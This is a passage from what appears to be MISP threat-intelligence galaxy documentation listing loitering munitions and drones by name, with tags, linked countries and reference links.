The tag is: *misp-galaxy:uavs="Quzgün"*

View relationships graph

Quzgün has relationships with:

- similar: misp-galaxy:country="azerbaijan" with estimative-language:likelihood-probability="likely"

UBAK-25 Chekan

LM

The tag is: *misp-galaxy:uavs="UBAK-25 Chekan"*

View relationships graph

UBAK-25 Chekan has relationships with:

- similar: misp-galaxy:country="belarus" with estimative-language:likelihood-probability="likely"

Anshar

LM

The tag is: *misp-galaxy:uavs="Anshar"*

View relationships graph

Anshar has relationships with:

- similar: misp-galaxy:country="brazil" with estimative-language:likelihood-probability="likely"

CH-901

LM

The tag is: *misp-galaxy:uavs="CH-901"*

View relationships graph

CH-901 has relationships with:

- similar: misp-galaxy:country="china" with estimative-language:likelihood-probability="likely"

Table 25166. Table References

Links
https://www.armyrecognition.com/china_army_uav_drones/ch901_loitering_munition_drone_china.html

WS-43

LM

The tag is: *misp-galaxy:uavs="WS-43"*

View relationships graph

WS-43 has relationships with:

- similar: misp-galaxy:country="china" with estimative-language:likelihood-probability="likely"

Table 25167. Table References

Links
https://www.armyrecognition.com/china_army_uav_drones/ws-43_loitering_munition.html

ASN-301

LM

The tag is: *misp-galaxy:uavs="ASN-301"*

View relationships graph

ASN-301 has relationships with:

- similar: misp-galaxy:country="china" with estimative-language:likelihood-probability="likely"

Table 25168. Table References

Links

https://www.globalsecurity.org/military/world/china/asn-301.htm

Switchblade

LM

The tag is: *misp-galaxy:uavs="Switchblade"*

View relationships graph

Switchblade has relationships with:

- similar: misp-galaxy:country="lithuania" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:country="ukraine" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:country="united states of america" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:country="france" with estimative-language:likelihood-probability="likely"

Table 25169. Table References

Links
https://www.avinc.com/tms/switchblade

Colibri

LM

The tag is: *misp-galaxy:uavs="Colibri"*

View relationships graph

Colibri has relationships with:

- similar: misp-galaxy:country="france" with estimative-language:likelihood-probability="likely"

Table 25170. Table References

Links
https://www.mbda-systems.com/product/colibri/

Larinae

LM

The tag is: *misp-galaxy:uavs="Larinae"*

View relationships graph

Larinae has relationships with:

- similar: misp-galaxy:country="france" with estimative-language:likelihood-probability="likely"

Table 25171. Table References

Links
https://www.mbda-systems.com/product/larinae/

Attalus

LM

The tag is: *misp-galaxy:uavs="Attalus"*

View relationships graph

Attalus has relationships with:

- similar: misp-galaxy:country="greece" with estimative-language:likelihood-probability="likely"

Aihmi AHM-1X

LM

The tag is: *misp-galaxy:uavs="Aihmi AHM-1X"*

View relationships graph

Aihmi AHM-1X has relationships with:

- similar: misp-galaxy:country="greece" with estimative-language:likelihood-probability="likely"

Table 25172. Table References

Links
https://sas-tech.gr/aihmi/

Rajata

LM

The tag is: *misp-galaxy:uavs="Rajata"*

View relationships graph

Rajata has relationships with:

- similar: misp-galaxy:country="indonesia" with estimative-language:likelihood-probability="likely"

Minibe

LM

The tag is: *misp-galaxy:uavs="Minibe"*

View relationships graph

Minibe has relationships with:

- similar: misp-galaxy:country="indonesia" with estimative-language:likelihood-probability="likely"

Nagastra-1

LM

The tag is: *misp-galaxy:uavs="Nagastra-1"*

View relationships graph

Nagastra-1 has relationships with:

- similar: misp-galaxy:country="india" with estimative-language:likelihood-probability="likely"

Table 25173. Table References

Links
https://solargroup.com/nagastra/

Trinetra

LM

The tag is: *misp-galaxy:uavs="Trinetra"*

View relationships graph

Trinetra has relationships with:

- similar: misp-galaxy:country="india" with estimative-language:likelihood-probability="likely"

Table 25174. Table References

Links
https://www.idrw.org/
https://indiandefensenews.in/2025/02/drdos-trinetra-uav-comes-of-age.html

ALS-50

LM

The tag is: *misp-galaxy:uavs="ALS-50"*

View relationships graph

ALS-50 has relationships with:

- similar: misp-galaxy:country="india" with estimative-language:likelihood-probability="likely"

Table 25175. Table References

Links
https://www.tataadvancedsystems.com/
https://www.airforce-technology.com/news/indian-air-force-inducts-loitering-munition/

Johnnette JM-1

LM

The tag is: *misp-galaxy:uavs="Johnnette JM-1"*

View relationships graph

Johnnette JM-1 has relationships with:

- similar: misp-galaxy:country="india" with estimative-language:likelihood-probability="likely"

Table 25176. Table References

Links
https://www.johnnette.com/jm1.html
https://www.army-technology.com/projects/johnnette-jm-1-loitering-munition-india/

Shaurya-1

LM

The tag is: *misp-galaxy:uavs="Shaurya-1"*

View relationships graph

Shaurya-1 has relationships with:

- similar: misp-galaxy:country="india" with estimative-language:likelihood-probability="likely"

Kadet Loitering Aerial Munition

LM

The tag is: *misp-galaxy:uavs="Kadet Loitering Aerial Munition"*

View relationships graph

Kadet Loitering Aerial Munition has relationships with:

- similar: misp-galaxy:country="india" with estimative-language:likelihood-probability="likely"

Table 25177. Table References

Links
https://kadet-uav.com/loitering-munition-systems/

Overwatch PHOLOS

LM

The tag is: *misp-galaxy:uavs="Overwatch PHOLOS"*

View relationships graph

Overwatch PHOLOS has relationships with:

- similar: misp-galaxy:country="ukraine" with estimative-language:likelihood-probability="likely"

Table 25178. Table References

Links
https://www.overwatch-group.uk/aerospace/pholos/
https://www.overwatch-group.uk/news/precision-strike-technology/

Zulu DRAP

LM

The tag is: *misp-galaxy:uavs="Zulu DRAP"*

View relationships graph

Zulu DRAP has relationships with:

- similar: misp-galaxy:country="india" with estimative-language:likelihood-probability="likely"

Sureshastra Mk1

LM

The tag is: *misp-galaxy:uavs="Sureshastra Mk1"*

View relationships graph

Sureshastra Mk1 has relationships with:

- similar: misp-galaxy:country="india" with estimative-language:likelihood-probability="likely"

Table 25179. Table References

Links
https://idrw.org/veda-aeronautics-begins-delivery-of-sureshastra-mk1-to-indian-air-force/

Karrar (□□□□□)

LM

The tag is: *misp-galaxy:uavs="Karrar (□□□□□)"*

View relationships graph

Karrar (□□□□□) has relationships with:

- similar: misp-galaxy:country="iran" with estimative-language:likelihood-probability="likely"

Table 25180. Table References

Links
https://en.wikipedia.org/wiki/HESA_Karrar

Ababil 2 (□□□□□□)

LM

The tag is: *misp-galaxy:uavs="Ababil 2 (□□□□□□)"*

View relationships graph

Ababil 2 (□□□□□□) has relationships with:

- similar: misp-galaxy:country="iran" with estimative-language:likelihood-probability="likely"

Table 25181. Table References

Links
https://en.wikipedia.org/wiki/HESA_Ababil

Raad 85

LM

The tag is: *misp-galaxy:uavs="Raad 85"*

View relationships graph

Raad 85 has relationships with:

- similar: misp-galaxy:country="iran" with estimative-language:likelihood-probability="likely"

Table 25182. Table References

Links
https://en.wikipedia.org/wiki/Qods_Raad_85

Arash-2

LM

The tag is: *misp-galaxy:uavs="Arash-2"*

View relationships graph

Arash-2 has relationships with:

- similar: misp-galaxy:country="iran" with estimative-language:likelihood-probability="likely"

Table 25183. Table References

Links
https://en.wikipedia.org/wiki/Arash_(drone)

Meraj 532 (□□□□□ □□□□□)

LM

The tag is: *misp-galaxy:uavs="Meraj 532 (□□□□□ □□□□□)"*

View relationships graph

Meraj 532 (□□□□□ □□□□□) has relationships with:

- similar: misp-galaxy:country="iran" with estimative-language:likelihood-probability="likely"

Zhubin

LM

The tag is: *misp-galaxy:uavs="Zhubin"*

View relationships graph

Zhubin has relationships with:

- similar: misp-galaxy:country="iran" with estimative-language:likelihood-probability="likely"

Shahin-1

LM

The tag is: *misp-galaxy:uavs="Shahin-1"*

View relationships graph

Shahin-1 has relationships with:

- similar: misp-galaxy:country="iran" with estimative-language:likelihood-probability="likely"

Harpy NG

LM

The tag is: *misp-galaxy:uavs="Harpy NG"*

View relationships graph

Harpy NG has relationships with:

- similar: misp-galaxy:country="israel" with estimative-language:likelihood-probability="likely"

Table 25184. Table References

Links
https://en.wikipedia.org/wiki/IAI_Harpy_NG

IAI Green Dragon

LM

The tag is: *misp-galaxy:uavs="IAI Green Dragon"*

View relationships graph

IAI Green Dragon has relationships with:

- similar: misp-galaxy:country="israel" with estimative-language:likelihood-probability="likely"

Table 25185. Table References

Links
https://www.iai.co.il/

Rotem L (Light)

LM

The tag is: *misp-galaxy:uavs="Rotem L (Light)"*

View relationships graph

Rotem L (Light) has relationships with:

- similar: misp-galaxy:country="israel" with estimative-language:likelihood-probability="likely"

Table 25186. Table References

Links
https://en.wikipedia.org/wiki/IAI_Rotem_L
https://www.iai.co.il/p/rotem

Orbiter 1K (Israel)

LM

The tag is: *misp-galaxy:uavs="Orbiter 1K (Israel)"*

View relationships graph

Orbiter 1K (Israel) has relationships with:

- similar: misp-galaxy:country="azerbaijan" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:country="israel" with estimative-language:likelihood-probability="likely"

Table 25187. Table References

Links
https://aeronautics-sys.com/orbiter-1k/

Delilah

LM

The tag is: *misp-galaxy:uavs="Delilah"*

View relationships graph

Delilah has relationships with:

- similar: misp-galaxy:country="israel" with estimative-language:likelihood-probability="likely"

Table 25188. Table References

Links
https://www.iai.co.il/

Spike Firefly

LM

The tag is: *misp-galaxy:uavs="Spike Firefly"*

View relationships graph

Spike Firefly has relationships with:

- similar: misp-galaxy:country="israel" with estimative-language:likelihood-probability="likely"

Table 25189. Table References

Links
https://www.rafael.co.il/

HERO (UVision series)

LM

The tag is: *misp-galaxy:uavs="HERO (UVision series)"*

View relationships graph

HERO (UVision series) has relationships with:

- similar: misp-galaxy:country="israel" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:country="italy" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:country="united states of america" with estimative-language:likelihood-probability="likely"

Table 25190. Table References

Links
https://uvisionuav.com/hero-family/

Viper

LM; IRS;VTOL

The tag is: *misp-galaxy:uavs="Viper"*

View relationships graph

Viper has relationships with:

- similar: misp-galaxy:country="israel" with estimative-language:likelihood-probability="likely"

Lanius

LM

The tag is: *misp-galaxy:uavs="Lanius"*

View relationships graph

Lanius has relationships with:

- similar: misp-galaxy:country="israel" with estimative-language:likelihood-probability="likely"

Table 25191. Table References

Links
https://elbitsystems.com/product/lanius/

Point Blank

LM

The tag is: *misp-galaxy:uavs="Point Blank"*

View relationships graph

Point Blank has relationships with:

- similar: misp-galaxy:country="israel" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:country="united states of america" with estimative-language:likelihood-probability="likely"

Table 25192. Table References

Links
https://elbitsystems.com/product/point-blank/

SpyX

LM

The tag is: *misp-galaxy:uavs="SpyX"*

View relationships graph

SpyX has relationships with:

- similar: misp-galaxy:country="israel" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:country="morocco" with estimative-language:likelihood-probability="likely"

Table 25193. Table References

Links
https://elbitsystems.com/product/spyx/

E-RAD

LM

The tag is: *misp-galaxy:uavs="E-RAD"*

View relationships graph

E-RAD has relationships with:

- similar: misp-galaxy:country="pakistan" with estimative-language:likelihood-probability="likely"

Rover LM

LM

The tag is: *misp-galaxy:uavs="Rover LM"*

View relationships graph

Rover LM has relationships with:

- similar: misp-galaxy:country="pakistan" with estimative-language:likelihood-probability="likely"

Xpear MX-150

LM

The tag is: *misp-galaxy:uavs="Xpear MX-150"*

View relationships graph

Xpear MX-150 has relationships with:

- similar: misp-galaxy:country="pakistan" with estimative-language:likelihood-

probability="likely"

NASTP Dark Angel Series

LM

The tag is: *misp-galaxy:uavs="NASTP Dark Angel Series"*

View relationships graph

NASTP Dark Angel Series has relationships with:

- similar: misp-galaxy:country="pakistan" with estimative-language:likelihood-probability="likely"

YIHA-III (PK)

LM

The tag is: *misp-galaxy:uavs="YIHA-III (PK)"*

View relationships graph

YIHA-III (PK) has relationships with:

- similar: misp-galaxy:country="pakistan" with estimative-language:likelihood-probability="likely"

GIDS Blaze series

LM

The tag is: *misp-galaxy:uavs="GIDS Blaze series"*

View relationships graph

GIDS Blaze series has relationships with:

- similar: misp-galaxy:country="pakistan" with estimative-language:likelihood-probability="likely"

Table 25194. Table References

Links
https://gids.com.pk/product/blaze-series/

NASTP KaGeM V3

LM

The tag is: *misp-galaxy:uavs="NASTP KaGeM V3"*

View relationships graph

NASTP KaGeM V3 has relationships with:

- similar: misp-galaxy:country="pakistan" with estimative-language:likelihood-probability="likely"

UAVision Elanus

LM

The tag is: *misp-galaxy:uavs="UAVision Elanus"*

View relationships graph

UAVision Elanus has relationships with:

- similar: misp-galaxy:country="portugal" with estimative-language:likelihood-probability="likely"

Table 25195. Table References

Links
https://www.uavision.com/en/elanus-uav/

Lancet-1

LM

The tag is: *misp-galaxy:uavs="Lancet-1"*

View relationships graph

Lancet-1 has relationships with:

- similar: misp-galaxy:country="russia" with estimative-language:likelihood-probability="likely"

Table 25196. Table References

Links
https://en.wikipedia.org/wiki/ZALA_Lancet

Ushkuynik KVN

LM

The tag is: *misp-galaxy:uavs="Ushkuynik KVN"*

View relationships graph

Ushkuynik KVN has relationships with:

- similar: misp-galaxy:country="russia" with estimative-language:likelihood-probability="likely"

Gavran 145

LM

The tag is: *misp-galaxy:uavs="Gavran 145"*

View relationships graph

Gavran 145 has relationships with:

- similar: misp-galaxy:country="serbia" with estimative-language:likelihood-probability="likely"

Osica

LM

The tag is: *misp-galaxy:uavs="Osica"*

View relationships graph

Osica has relationships with:

- similar: misp-galaxy:country="serbia" with estimative-language:likelihood-probability="likely"

Komarac

LM

The tag is: *misp-galaxy:uavs="Komarac"*

View relationships graph

Komarac has relationships with:

- similar: misp-galaxy:country="serbia" with estimative-language:likelihood-probability="likely"

Table 25197. Table References

Links
https://www.armyrecognition.com/news/aerospace-news/2025/serbia-unveils-komarac-2-fpv-drone-with-2-km-range-and-90-mm-anti-tank-warhead-at-partner-2025

Vila 1

LM

The tag is: *misp-galaxy:uavs="Vila 1"*

View relationships graph

Vila 1 has relationships with:

- similar: misp-galaxy:country="serbia" with estimative-language:likelihood-probability="likely"

AX-2 Predator

The AX2 Predator is a lightweight, easy-to-transport weapon system that is frequently referred to as a loitering munition. The system's primary goal is to search, identify, and destroy high-value targets (HVT) using direct hits while destroying its own platform.

The tag is: *misp-galaxy:uavs="AX-2 Predator"*

View relationships graph

AX-2 Predator has relationships with:

- similar: misp-galaxy:country="slovakia" with estimative-language:likelihood-probability="likely"

Table 25198. Table References

Links
https://specialsupply.eu/wp-content/uploads/2023/02/PREDATOR-AX-2.pdf
https://www.czdefence.com/article/why-slovakia-should-not-forget-about-drones-defence
https://affairscloud.com/gopalan-aerospace-signs-joint-venture-with-slovakian-firms-to-develop-precision-drones/

Paramount N-Raven

LM

The tag is: *misp-galaxy:uavs="Paramount N-Raven"*

View relationships graph

Paramount N-Raven has relationships with:

- similar: misp-galaxy:country="south africa" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:country="united arab emirates" with estimative-language:likelihood-probability="likely"

Table 25199. Table References

Links
https://paramountgroup.com/products/n-raven/

Devil Killer

LM

The tag is: *misp-galaxy:uavs="Devil Killer"*

View relationships graph

Devil Killer has relationships with:

- similar: misp-galaxy:country="south korea" with estimative-language:likelihood-probability="likely"

Table 25200. Table References

Links
https://en.wikipedia.org/wiki/Devil_Killer

Q-SLAM-40

LM

The tag is: *misp-galaxy:uavs="Q-SLAM-40"*

View relationships graph

Q-SLAM-40 has relationships with:

- similar: misp-galaxy:country="spain" with estimative-language:likelihood-probability="likely"

Table 25201. Table References

Links
https://em&e.es/q-slam-40/

Kamin-25

LM

The tag is: *misp-galaxy:uavs="Kamin-25"*

View relationships graph

Kamin-25 has relationships with:

- similar: misp-galaxy:country="sudan" with estimative-language:likelihood-probability="likely"

NCSIST Chien Hsiang

LM

The tag is: *misp-galaxy:uavs="NCSIST Chien Hsiang"*

View relationships graph

NCSIST Chien Hsiang has relationships with:

- similar: misp-galaxy:country="taiwan" with estimative-language:likelihood-probability="likely"

Table 25202. Table References

Links
https://www.ncsist.org.tw/eng/1000/1002/1033/1072/1074/1075/

NCSIST Fire Cardinal

LM

The tag is: *misp-galaxy:uavs="NCSIST Fire Cardinal"*

View relationships graph

NCSIST Fire Cardinal has relationships with:

- similar: misp-galaxy:country="taiwan" with estimative-language:likelihood-probability="likely"

Table 25203. Table References

Links
https://www.ncsist.org.tw/eng/

Robit UAV AZAB

LM

The tag is: *misp-galaxy:uavs="Robit UAV AZAB"*

View relationships graph

Robit UAV AZAB has relationships with:

- similar: misp-galaxy:country="turkey" with estimative-language:likelihood-probability="likely"

Table 25204. Table References

Links

https://robittek.com.tr/azab-loitering-munition/

STM Alpagu

LM

The tag is: *misp-galaxy:uavs="STM Alpagu"*

View relationships graph

STM Alpagu has relationships with:

- similar: misp-galaxy:country="turkey" with estimative-language:likelihood-probability="likely"

Table 25205. Table References

Links
https://www.stm.com.tr/en/products/alpagu-fixed-wing-strike-uav

Transvaro-Havelsan Fedai

LM

The tag is: *misp-galaxy:uavs="Transvaro-Havelsan Fedai"*

View relationships graph

Transvaro-Havelsan Fedai has relationships with:

- similar: misp-galaxy:country="turkey" with estimative-language:likelihood-probability="likely"

Table 25206. Table References

Links
https://www.havelsan.com.tr/en/fedai

Kargı

LM

The tag is: *misp-galaxy:uavs="Kargı"*

View relationships graph

Kargı has relationships with:

- similar: misp-galaxy:country="turkey" with estimative-language:likelihood-probability="likely"

Table 25207. Table References

Links
https://lentatek.com/en/

Roketsan-STM Alpagut

LM

The tag is: *misp-galaxy:uavs="Roketsan-STM Alpagut"*

View relationships graph

Roketsan-STM Alpagut has relationships with:

- similar: misp-galaxy:country="turkey" with estimative-language:likelihood-probability="likely"

Table 25208. Table References

Links
https://www.roketsan.com.tr/en/products/alpagut-smart-loitering-munition-system

QX-1

LM

The tag is: *misp-galaxy:uavs="QX-1"*

View relationships graph

QX-1 has relationships with:

- similar: misp-galaxy:country="united arab emirates" with estimative-language:likelihood-probability="likely"

Table 25209. Table References

Links
https://edgegroupuae.com/solutions/qx-1-loitering-munitions

Hunter SP

LM

The tag is: *misp-galaxy:uavs="Hunter SP"*

View relationships graph

Hunter SP has relationships with:

- similar: misp-galaxy:country="united arab emirates" with estimative-language:likelihood-

probability="likely"

Table 25210. Table References

Links
https://edgegroupuae.com/solutions/hunter-sp

Hunter 5

LM

The tag is: *misp-galaxy:uavs="Hunter 5"*

View relationships graph

Hunter 5 has relationships with:

- similar: misp-galaxy:country="united arab emirates" with estimative-language:likelihood-probability="likely"

Table 25211. Table References

Links
https://edgegroupuae.com/solutions

Hunter 10

LM

The tag is: *misp-galaxy:uavs="Hunter 10"*

View relationships graph

Hunter 10 has relationships with:

- similar: misp-galaxy:country="united arab emirates" with estimative-language:likelihood-probability="likely"

Table 25212. Table References

Links
https://edgegroupuae.com/solutions

Shadow 25

LM

The tag is: *misp-galaxy:uavs="Shadow 25"*

View relationships graph

Shadow 25 has relationships with:

- similar: misp-galaxy:country="united arab emirates" with estimative-language:likelihood-probability="likely"

Table 25213. Table References

Links
https://edgegroupuae.com/solutions/shadow-25

Shadow 50

LM

The tag is: *misp-galaxy:uavs="Shadow 50"*

View relationships graph

Shadow 50 has relationships with:

- similar: misp-galaxy:country="united arab emirates" with estimative-language:likelihood-probability="likely"

Table 25214. Table References

Links
https://edgegroupuae.com/solutions/shadow-25

RW-24

LM

The tag is: *misp-galaxy:uavs="RW-24"*

View relationships graph

RW-24 has relationships with:

- similar: misp-galaxy:country="united arab emirates" with estimative-language:likelihood-probability="likely"

Table 25215. Table References

Links
https://products-webfiles.edgegroup.ae/s3fs-public/2022-10/rw-24.pdf

N-Raven

LM

The tag is: *misp-galaxy:uavs="N-Raven"*

View relationships graph

N-Raven has relationships with:

- similar: misp-galaxy:country="south africa" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:country="united arab emirates" with estimative-language:likelihood-probability="likely"

Table 25216. Table References

Links
https://paramountgroup.com/media/news/paramount-s-n-raven-precision-strike-loitering-munition-goes-into-production-idex-2023/

ALTIUS-600M

LM

The tag is: *misp-galaxy:uavs="ALTIUS-600M"*

View relationships graph

ALTIUS-600M has relationships with:

- similar: misp-galaxy:country="ukraine" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:country="united states of america" with estimative-language:likelihood-probability="likely"

Table 25217. Table References

Links
https://www.anduril.com/

Phoenix Ghost

LM

The tag is: *misp-galaxy:uavs="Phoenix Ghost"*

View relationships graph

Phoenix Ghost has relationships with:

- similar: misp-galaxy:country="ukraine" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:country="united states of america" with estimative-language:likelihood-probability="likely"

Table 25218. Table References

Links
https://en.wikipedia.org/wiki/Aevex_Phoenix_Ghost
https://www.aevex.com/

Raytheon Coyote

LM

The tag is: *misp-galaxy:uavs="Raytheon Coyote"*

View relationships graph

Raytheon Coyote has relationships with:

- similar: misp-galaxy:country="united states of america" with estimative-language:likelihood-probability="likely"

Table 25219. Table References

Links
https://www.rtx.com/

HERO 120 (US)

LM

The tag is: *misp-galaxy:uavs="HERO 120 (US)"*

View relationships graph

HERO 120 (US) has relationships with:

- similar: misp-galaxy:country="argentina" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:country="israel" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:country="united states of america" with estimative-language:likelihood-probability="likely"

Table 25220. Table References

Links
https://uvisionuav.com/hero-120/

Northrop Grumman Lumberjack

LM

The tag is: *misp-galaxy:uavs="Northrop Grumman Lumberjack"*

View relationships graph

Northrop Grumman Lumberjack has relationships with:

- similar: misp-galaxy:country="united states of america" with estimative-language:likelihood-probability="likely"

Table 25221. Table References

Links
https://www.northropgrumman.com/

ALTIUS-600

LM

The tag is: *misp-galaxy:uavs="ALTIUS-600"*

View relationships graph

ALTIUS-600 has relationships with:

- similar: misp-galaxy:country="ukraine" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:country="united states of america" with estimative-language:likelihood-probability="likely"

Table 25222. Table References

Links
https://www.anduril.com/

AQ-400 Scythe

LM

The tag is: *misp-galaxy:uavs="AQ-400 Scythe"*

View relationships graph

AQ-400 Scythe has relationships with:

- similar: misp-galaxy:country="ukraine" with estimative-language:likelihood-probability="likely"

Table 25223. Table References

Links
https://terminalautonomy.com/aq-400/

Bober

LM

The tag is: *misp-galaxy:uavs="Bober"*

View relationships graph

Bober has relationships with:

- similar: misp-galaxy:country="ukraine" with estimative-language:likelihood-probability="likely"

Table 25224. Table References

Links
https://en.wikipedia.org/wiki/Bober_(drone)

AN-196 Liutyi

LM

The tag is: *misp-galaxy:uavs="AN-196 Liutyi"*

View relationships graph

AN-196 Liutyi has relationships with:

- similar: misp-galaxy:country="ukraine" with estimative-language:likelihood-probability="likely"

Table 25225. Table References

Links
https://en.wikipedia.org/wiki/Liutyi
https://odin.tradoc.army.mil/WEG/Asset/38a26b6d18b9cc4ed1960672864a3541
https://armyrecognition.com/news/aerospace-news/2025/germany-to-fund-production-of-500-an-196-liutyi-long-range-drones-for-ukraine-in-new-contract
https://en.defence-ua.com/news/germany_to_invest_over_100_million_in_production_of_ukrainian_strike_uav_an_196_liutyi-14969.html
https://euromaidanpress.com/2024/10/18/cnn-follows-ukraines-liutyi-drone-strike-on-ammo-depot-on-russian-soil/
https://united24media.com/latest-news/ukrainian-an196-liutyi-drone-dubbed-ukrainian-shahed-receives-major-upgrade-3996

ST-35 Silent Thunder

LM

The tag is: *misp-galaxy:uavs="ST-35 Silent Thunder"*

View relationships graph

ST-35 Silent Thunder has relationships with:

- similar: misp-galaxy:country="ukraine" with estimative-language:likelihood-probability="likely"

Table 25226. Table References

Links
https://en.wikipedia.org/wiki/ST-35_Silent_Thunder

UJ-25 Skyline

LM

The tag is: *misp-galaxy:uavs="UJ-25 Skyline"*

View relationships graph

UJ-25 Skyline has relationships with:

- similar: misp-galaxy:country="ukraine" with estimative-language:likelihood-probability="likely"

Table 25227. Table References

Links
https://ukrspecsystems.com.ua/

Qasef-1

LM

The tag is: *misp-galaxy:uavs="Qasef-1"*

View relationships graph

Qasef-1 has relationships with:

- similar: misp-galaxy:country="yemen" with estimative-language:likelihood-probability="likely"

Table 25228. Table References

Links
https://en.wikipedia.org/wiki/Qasef-1

Qasef-2K

LM

The tag is: *misp-galaxy:uavs="Qasef-2K"*

View relationships graph

Qasef-2K has relationships with:

- similar: misp-galaxy:country="yemen" with estimative-language:likelihood-probability="likely"

Table 25229. Table References

Links
https://en.wikipedia.org/wiki/Qasef-1

Samad-2

LM

The tag is: *misp-galaxy:uavs="Samad-2"*

View relationships graph

Samad-2 has relationships with:

- similar: misp-galaxy:country="yemen" with estimative-language:likelihood-probability="likely"

Table 25230. Table References

Links
https://en.wikipedia.org/wiki/Samad_(UAV)

Samad-3

LM

The tag is: *misp-galaxy:uavs="Samad-3"*

View relationships graph

Samad-3 has relationships with:

- similar: misp-galaxy:country="yemen" with estimative-language:likelihood-probability="likely"

Table 25231. Table References

Links
https://en.wikipedia.org/wiki/Samad_(UAV)

Shahed-101

LM

The tag is: *misp-galaxy:uavs="Shahed-101"*

View relationships graph

Shahed-101 has relationships with:

- similar: misp-galaxy:country="iran" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:country="yemen" with estimative-language:likelihood-probability="likely"

Table 25232. Table References

Links
https://en.wikipedia.org/wiki/Shahed_101

SpyX (IL)

LM

The tag is: *misp-galaxy:uavs="SpyX (IL)"*

View relationships graph

SpyX (IL) has relationships with:

- similar: misp-galaxy:country="israel" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:country="morocco" with estimative-language:likelihood-probability="likely"

Table 25233. Table References

Links
https://elbitsystems.com/product/spyx/

Xpear MX-150 (PK)

LM

The tag is: *misp-galaxy:uavs="Xpear MX-150 (PK)"*

View relationships graph

Xpear MX-150 (PK) has relationships with:

- similar: misp-galaxy:country="pakistan" with estimative-language:likelihood-probability="likely"

UAVision Elanus (PT)

LM

The tag is: *misp-galaxy:uavs="UAVision Elanus (PT)"*

View relationships graph

UAVision Elanus (PT) has relationships with:

- similar: misp-galaxy:country="portugal" with estimative-language:likelihood-probability="likely"

Table 25234. Table References

Links
https://www.uavision.com/en/elanus-uav/

Ushkuynik KVN (RU)

LM

The tag is: *misp-galaxy:uavs="Ushkuynik KVN (RU)"*

View relationships graph

Ushkuynik KVN (RU) has relationships with:

- similar: misp-galaxy:country="russia" with estimative-language:likelihood-probability="likely"

Gavran 145 (RS)

LM

The tag is: *misp-galaxy:uavs="Gavran 145 (RS)"*

View relationships graph

Gavran 145 (RS) has relationships with:

- similar: misp-galaxy:country="serbia" with estimative-language:likelihood-probability="likely"

Osica (RS)

LM

The tag is: *misp-galaxy:uavs="Osica (RS)"*

View relationships graph

Osica (RS) has relationships with:

- similar: misp-galaxy:country="serbia" with estimative-language:likelihood-probability="likely"

Vila 1 (RS)

LM

The tag is: *misp-galaxy:uavs="Vila 1 (RS)"*

View relationships graph

Vila 1 (RS) has relationships with:

- similar: misp-galaxy:country="serbia" with estimative-language:likelihood-probability="likely"

Paramount N-Raven (ZA)

LM

The tag is: *misp-galaxy:uavs="Paramount N-Raven (ZA)"*

View relationships graph

Paramount N-Raven (ZA) has relationships with:

- similar: misp-galaxy:country="south africa" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:country="united arab emirates" with estimative-language:likelihood-probability="likely"

Table 25235. Table References

Links
https://paramountgroup.com/products/n-raven/

Kamin-25 (SD)

LM

The tag is: *misp-galaxy:uavs="Kamin-25 (SD)"*

View relationships graph

Kamin-25 (SD) has relationships with:

- similar: misp-galaxy:country="sudan" with estimative-language:likelihood-probability="likely"

Robit UAV AZAB (TR)

LM

The tag is: *misp-galaxy:uavs="Robit UAV AZAB (TR)"*

View relationships graph

Robit UAV AZAB (TR) has relationships with:

- similar: misp-galaxy:country="turkey" with estimative-language:likelihood-probability="likely"

Table 25236. Table References

Links
https://robittek.com.tr/azab-loitering-munition/

Transvaro-Havelsan Fedai (TR)

LM

The tag is: *misp-galaxy:uavs="Transvaro-Havelsan Fedai (TR)"*

View relationships graph

Transvaro-Havelsan Fedai (TR) has relationships with:

- similar: misp-galaxy:country="turkey" with estimative-language:likelihood-probability="likely"

Table 25237. Table References

Links
https://www.havelsan.com.tr/en/fedai

LENTATEK Kargı (TR)

LM

The tag is: *misp-galaxy:uavs="LENTATEK Kargı (TR)"*

View relationships graph

LENTATEK Kargı (TR) has relationships with:

- similar: misp-galaxy:country="turkey" with estimative-language:likelihood-probability="likely"

Table 25238. Table References

Links
https://lentatek.com/en/

Roketsan-STM Alpagut (TR)

LM

The tag is: *misp-galaxy:uavs="Roketsan-STM Alpagut (TR)"*

View relationships graph

Roketsan-STM Alpagut (TR) has relationships with:

- similar: misp-galaxy:country="turkey" with estimative-language:likelihood-probability="likely"

Table 25239. Table References

Links
https://www.roketsan.com.tr/en/products/alpagut-smart-loitering-munition-system

Hunter 2-S (AE)

LM

The tag is: *misp-galaxy:uavs="Hunter 2-S (AE)"*

View relationships graph

Hunter 2-S (AE) has relationships with:

- similar: misp-galaxy:country="united arab emirates" with estimative-language:likelihood-probability="likely"

Table 25240. Table References

Links
https://edgegroupuae.com/solutions/hunter-2-s

Hunter 10 (AE)

LM

The tag is: *misp-galaxy:uavs="Hunter 10 (AE)"*

View relationships graph

Hunter 10 (AE) has relationships with:

- similar: misp-galaxy:country="united arab emirates" with estimative-language:likelihood-probability="likely"

Table 25241. Table References

Links
https://edgegroupuae.com/solutions

N-Raven (AE)

LM

The tag is: *misp-galaxy:uavs="N-Raven (AE)"*

View relationships graph

N-Raven (AE) has relationships with:

- similar: misp-galaxy:country="south africa" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:country="united arab emirates" with estimative-language:likelihood-probability="likely"

Table 25242. Table References

Links
https://paramountgroup.com/media/news/paramount-s-n-raven-precision-strike-loitering-munition-goes-into-production-idex-2023/

QinetiQ Banshee

LM

The tag is: *misp-galaxy:uavs="QinetiQ Banshee"*

View relationships graph

QinetiQ Banshee has relationships with:

- similar: misp-galaxy:country="ukraine" with estimative-language:likelihood-probability="likely"

Table 25243. Table References

Links
